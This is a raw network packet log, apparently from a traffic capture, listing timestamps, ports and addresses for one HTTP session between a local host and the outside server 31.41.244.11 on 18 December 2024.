Dec 18, 2024 11:47:20.402116060 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.402154922 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422508955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422565937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422584057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422594070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422638893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422638893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422667027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422679901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422698975 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422708988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422712088 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422720909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422745943 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422815084 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422849894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422878981 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422915936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422926903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.422944069 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422964096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.422996044 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423010111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423034906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423067093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423182011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423194885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423213005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423227072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423242092 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423254967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423266888 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423278093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423279047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423290968 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423304081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423307896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423321009 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423327923 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423332930 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423340082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423346043 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423369884 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423403978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423665047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423676014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423681974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423739910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423751116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423752069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423763037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423767090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423775911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423787117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.423799038 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.423825026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.424144030 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.424202919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.550827026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.550908089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.551043987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.551086903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.551429033 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.551482916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.551708937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.551748991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.552562952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.552606106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.552839994 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.552877903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.553816080 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.553855896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.554162025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.554202080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.555093050 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.555133104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.555186987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.555223942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.556170940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.556211948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.556878090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.556920052 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.557302952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.557339907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.557401896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.557440042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.558624983 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.558666945 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.558701038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.558820009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.560014963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.560074091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.560323000 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.560364008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.560812950 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.560853958 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.560889959 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.560923100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.562084913 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.562125921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.562212944 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.562254906 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.563111067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.563150883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.564361095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.564377069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.564397097 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.564414978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.564476013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.564517975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.565438032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.565483093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.565660954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.565701962 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.566631079 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.566669941 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.566740990 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.566776991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.567814112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.567856073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.567938089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.567975998 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.569360018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.569401026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.569431067 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.569566011 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.570127964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.570172071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.571346045 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.571358919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.571371078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.571404934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.571419001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.572475910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.572519064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.572577953 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.572619915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.573684931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.573733091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.574122906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.574166059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.574817896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.574856043 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.576045036 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.576060057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.576095104 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.576101065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.576142073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.577173948 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.577219009 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.577277899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.577315092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.578352928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.578389883 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.579551935 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.579565048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.579576969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.579597950 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.579616070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.580682039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.580725908 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.580950022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.580992937 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.581829071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.581868887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.581942081 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.582056046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.583024979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.583067894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.583201885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.583240032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.584168911 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.584213972 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.584346056 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.584386110 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.585310936 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.585345984 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.585460901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.585498095 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.586530924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.586570978 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.586684942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.586723089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.587677956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.587718964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.587886095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.587924004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.588849068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.588891029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.588973999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.589010000 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.590003967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.590050936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.590111971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.590151072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.591188908 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.591226101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.591262102 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.591300964 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.592430115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.592513084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.592533112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.592571974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.593558073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.593599081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.593692064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.593728065 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.594726086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.594767094 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.595571995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.595616102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.595875978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.595916986 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.596594095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.596632957 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.597054958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.597096920 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.597647905 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.597704887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.598331928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.598342896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.598370075 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.598385096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.599368095 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.599410057 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.599487066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.599519014 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.600541115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.600596905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.600627899 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.600708008 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.601787090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.601830006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.601864100 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.601897955 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.602876902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.602922916 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.602931023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.602966070 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.604049921 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.604094982 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.604156971 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.604278088 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.605310917 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.605360031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.605376959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.605393887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.606383085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.606429100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.606509924 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.606545925 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.607598066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.607647896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.607680082 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.607717991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.608994007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.609041929 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.609057903 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.609098911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.609925032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.609978914 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.610011101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.610053062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.611054897 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.611105919 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.611217976 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.611258030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.612231016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.612281084 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.741826057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.741884947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.741990089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.742033005 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.742491007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.742532015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.742669106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.742714882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.743716955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.743767977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.743773937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.743817091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.744831085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.744874001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.745033026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.745085001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.746011019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.746057987 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.746088028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.746129036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.747070074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.747112036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.747277021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.747366905 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.748351097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.748403072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.748565912 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.748614073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.749401093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.749454975 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.749675989 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.749722004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.750626087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.750670910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.750760078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.750806093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.751758099 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.751805067 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.752957106 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.752969027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.752981901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.753002882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.753043890 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.754106998 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.754158020 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.754304886 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.754359961 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.755285978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.755336046 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.756014109 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.756062031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.756447077 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.756495953 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.757179022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.757225990 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.757600069 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.757641077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.758809090 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.758822918 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.758836031 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.758852959 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.758869886 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.758891106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.759922028 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.759965897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.760226965 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.760278940 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.761101007 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:20.761156082 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:20.761231899 CET	80	49806	31.41.244.11	192.168.2.6
